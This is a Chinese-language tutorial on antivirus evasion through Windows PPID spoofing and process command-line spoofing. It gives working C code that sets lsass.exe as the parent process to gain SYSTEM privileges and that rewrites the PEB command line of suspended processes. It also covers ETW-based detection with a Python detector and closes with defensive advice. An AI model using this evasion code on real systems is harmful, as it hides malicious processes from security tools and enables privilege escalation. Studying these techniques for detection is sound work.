免杀基础-ppid伪造
字数 1338 2025-08-22 12:22:30
PPID伪造与进程参数伪造技术详解
1. PPID伪造技术
1.1 基本概念
PPID(Parent Process ID)伪造是一种进程伪装技术,通过修改新创建进程的父进程标识符,使其看起来像是由另一个进程创建的。这种技术常用于绕过安全检测,因为许多安全产品会监控异常进程创建行为。
1.2 实现原理
Windows系统中,可以通过CreateProcess函数创建进程时,在STARTUPINFOEX结构中添加PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性来指定父进程句柄。
1.3 实现步骤
- 获取目标父进程PID:
通过遍历进程列表获取想要伪装的父进程PID,例如伪装为lsass.exe:
DWORD getParentProcessID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = {sizeof(PROCESSENTRY32)};
if(Process32First(snapshot, &pe32)) {
do {
if(!wcscmp(pe32.szExeFile, L"lsass.exe"))
break;
} while(Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
return pe32.th32ProcessID;
}
- 创建STARTUPINFOEX结构并初始化属性列表:
需要使用STARTUPINFOEX而不是普通的STARTUPINFO来设置进程扩展属性。
STARTUPINFOEX si = {sizeof(STARTUPINFOEX)};
PROCESS_INFORMATION pi;
SIZE_T size_t;
HANDLE expProcess;
expProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, getParentProcessID());
// 第一次调用获取所需缓冲区大小
InitializeProcThreadAttributeList(NULL, 1, 0, &size_t);
// 分配内存
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size_t);
// 初始化属性列表
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size_t);
// 更新父进程属性
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&expProcess, sizeof(expProcess), NULL, NULL);
- 创建进程:
使用EXTENDED_STARTUPINFO_PRESENT标志和设置好的STARTUPINFOEX结构创建进程。
CreateProcess(NULL,
_tcsdup(L"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_11.2208.25.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe"),
NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL,
L"C:\\Windows\\System32\\", &si.StartupInfo, &pi);
1.4 权限继承
子进程可以从父进程继承访问令牌以提升权限。例如,如果管理员权限运行的恶意程序伪装PPID为具有system权限的进程(如lsass.exe),可以获得system权限。
2. PPID欺骗的检测方法
2.1 使用ETW(Event Tracing for Windows)记录进程创建事件
- 使用logman创建和启动事件追踪会话:
logman create trace "myTrace" -ets
logman update myTrace -p Microsoft-Windows-Kernel-Process 0x70 -ets
- 执行可疑操作后停止记录:
logman stop "myTrace" -ets
- 通过wmic查询进程的PPID:
wmic process where (processid=xxx) get parentprocessid
- 在事件查看器中分析日志,搜索"40336 started"事件,检查PID和PPID是否一致。
2.2 自动化检测脚本
使用Python编写ETW监听脚本检测PPID欺骗:
import time
import etw
import psutil
def process_event(event):
try:
event = event[1]
if event["Task Name"] == "PROCESSSTART":
pid = int(event["ProcessID"])
epid = event["EventHeader"]["ProcessId"]
ppid = psutil.Process(pid).ppid()
if epid != ppid:
print(f"{event['CreateTime']} - PPID Spoofing detected!")
print(f"[+] pid: {pid}")
except Exception as e:
print(f"Error processing event: {e}")
providers = [etw.ProviderInfo('Microsoft-Windows-Kernel-Process',
etw.GUID("{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}"))]
job = etw.ETW(providers=providers, event_callback=process_event, event_id_filters=[1])
try:
print("press ctrl+c to stop tracing")
job.start()
time.sleep(999999)
except KeyboardInterrupt:
print("Stopping ETW session...")
finally:
job.stop()
3. 进程参数伪造技术
3.1 PEB(Process Environment Block)基础
PEB是一个包含进程全局信息的重要结构体,其中RTL_USER_PROCESS_PARAMETERS结构保存了进程参数信息。
关键结构体定义:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
// ...其他字段...
UNICODE_STRING CurrentDirectoryPath;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
// ...其他字段...
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// ...其他字段...
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
// ...其他字段...
} PEB, *PPEB;
3.2 获取PEB地址
- 64位系统:通过
gs:[0x60]获取PEB地址 - 32位系统:通过
fs:[0x30]获取PEB地址
#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#endif
#ifdef _X86_
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
3.3 修改当前进程参数
修改当前进程的命令行参数(注意不能比原字符串长,否则会覆盖其他内存导致崩溃):
peb->ProcessParameters->CommandLine.Buffer = _wcsdup(L"\"C:\\Windows\\SysWOW64\\IME\\SogouPY\\SogouImeBroker.exe\"");
3.4 修改远程进程参数
- 创建挂起的进程:
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"),
NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- 获取进程基本信息,包括PEB地址:
PROCESS_BASIC_INFORMATION pbi = {sizeof(PROCESS_BASIC_INFORMATION)};
pNtQueryInformationProcess NtQueryInformationProcess =
(pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
- 读取PEB和进程参数:
PEB peb;
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL);
RTL_USER_PROCESS_PARAMETERS param;
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, ¶m, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
- 修改命令行参数:
pNtWriteVirtualMemory NtWriteVirtualMemory =
(pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteVirtualMemory");
ULONG bytesWritten;
NtWriteVirtualMemory(pi.hProcess, param.CommandLine.Buffer, cmdLine, wcslen(cmdLine)*sizeof(WCHAR), &bytesWritten);
- 恢复线程执行:
ResumeThread(pi.hThread);
类似地,可以通过修改ImagePathName来伪造进程映像路径。
4. 防御建议
- 监控进程创建事件,特别是检查PID和PPID不一致的情况
- 使用ETW进行深度进程行为分析
- 限制进程创建权限,特别是高权限进程创建子进程的行为
- 监控进程参数修改行为
- 实施最小权限原则,减少高权限进程数量